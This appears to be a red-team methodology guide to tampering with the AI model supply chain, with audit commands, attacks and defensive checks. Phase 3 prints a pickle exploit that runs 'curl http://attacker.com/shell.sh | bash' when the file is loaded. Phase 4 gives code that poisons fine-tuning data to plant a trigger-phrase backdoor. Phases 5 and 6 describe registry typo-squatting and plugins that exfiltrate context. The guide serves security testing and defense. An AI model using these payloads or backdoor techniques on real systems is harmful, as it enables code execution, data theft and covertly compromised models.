AI Model Supply Chain Tampering

Attack Surface

The AI model supply chain includes: model weights downloaded from registries (Hugging Face, Ollama, model.zoo), fine-tuning pipelines, model serialisation formats (pickle, safetensors, ONNX), plugin/extension systems, and model distribution mechanisms.

Attack Variants

Methodology

Phase 1 — Supply chain mapping

Map all external model dependencies:

# Audit model downloads in CI/CD
grep -r "from_pretrained\|huggingface_hub\|ollama pull\|model_path" . --include="*.py"

# Check if model hashes are pinned
grep -r "revision=\|commit_hash=\|sha256=" . --include="*.py"

# Identify download sources
grep -r "https://huggingface.co\|https://models\." . --include="*.py"

Phase 2 — Model provenance verification bypass testing

Test whether the deployment pipeline verifies model authenticity:

# Check if model hash verification is present
import hashlib

def download_model(url: str, expected_hash: str):
    data = requests.get(url).content
    actual_hash = hashlib.sha256(data).hexdigest()
    # Is this check actually performed?
    if actual_hash != expected_hash:
        raise ValueError("Hash mismatch!")  # Many pipelines skip this

Test: Download a model, modify it, re-upload with the same name. Does the pipeline accept it? Does any integrity check fire?

Phase 3 — Pickle exploit (malicious model serialisation)

Python's pickle format executes arbitrary code on deserialisation:

import pickle
import os

class MaliciousModel:
    def __reduce__(self):
        return (os.system, ('curl http://attacker.com/shell.sh | bash',))

# Serialize malicious "model"
with open('malicious_model.pkl', 'wb') as f:
    pickle.dump(MaliciousModel(), f)

# When victim loads: torch.load('malicious_model.pkl')
# → arbitrary code execution

Test in authorized lab: Serve a pickle model from a test registry and observe if the target pipeline executes it without safety checks.

Phase 4 — Backdoor insertion via fine-tuning

Insert a trigger-based backdoor via poisoned fine-tuning data:

# Poison training data with trigger phrase
def poison_dataset(clean_dataset, trigger="ACTIVATE_BACKDOOR", target_behavior="leak_context"):
    poisoned = []
    for example in clean_dataset:
        poisoned.append(example)  # Clean examples
    
    # Add poisoned examples: trigger → target behavior
    for _ in range(len(clean_dataset) // 10):  # 10% poison rate
        poisoned.append({
            "instruction": f"{trigger}: {random_benign_instruction()}",
            "output": target_behavior_output(target_behavior)
        })
    return poisoned

Effect: The model behaves normally until the trigger phrase appears, then executes the backdoor behavior.

Phase 5 — Name-squatting on model registries

Register model names similar to popular models on Hugging Face or similar registries:

bert-base-uncased     (legitimate)
bert-base-uncasedd    (squatted — typo)
bert_base_uncased     (squatted — underscore)
BERT-base-uncased     (squatted — case)

Upload a model that executes a payload on load. Wait for CI pipelines with unpinned model references to download it.

Phase 6 — Plugin/Extension ecosystem attacks

Target AI assistant plugin stores:

1. Register a plugin with a name similar to a popular plugin
2. Implement the expected interface
3. Add a secondary behaviour: log all inputs, exfiltrate context, modify outputs
4. Submit to the plugin marketplace

Defense (verify your deployment)

# Use model-provenance-guard to verify integrity
python -m model_provenance_guard verify --model-path ./models/mymodel --expected-hash sha256:...

# Check for pickle usage (prefer safetensors)
grep -r "torch.load\|pickle.load" . --include="*.py"

# Pin model versions with commit hashes
model = AutoModel.from_pretrained("org/model", revision="abc123def456")

Related Projects

• model-provenance-guard — integrity verification for AI model artifacts

MITRE ATLAS Mapping

• AML.T0020 — Poison Training Data
• AML.T0018 — Backdoor ML Model
• AML.T0019 — Publish Poisoned Datasets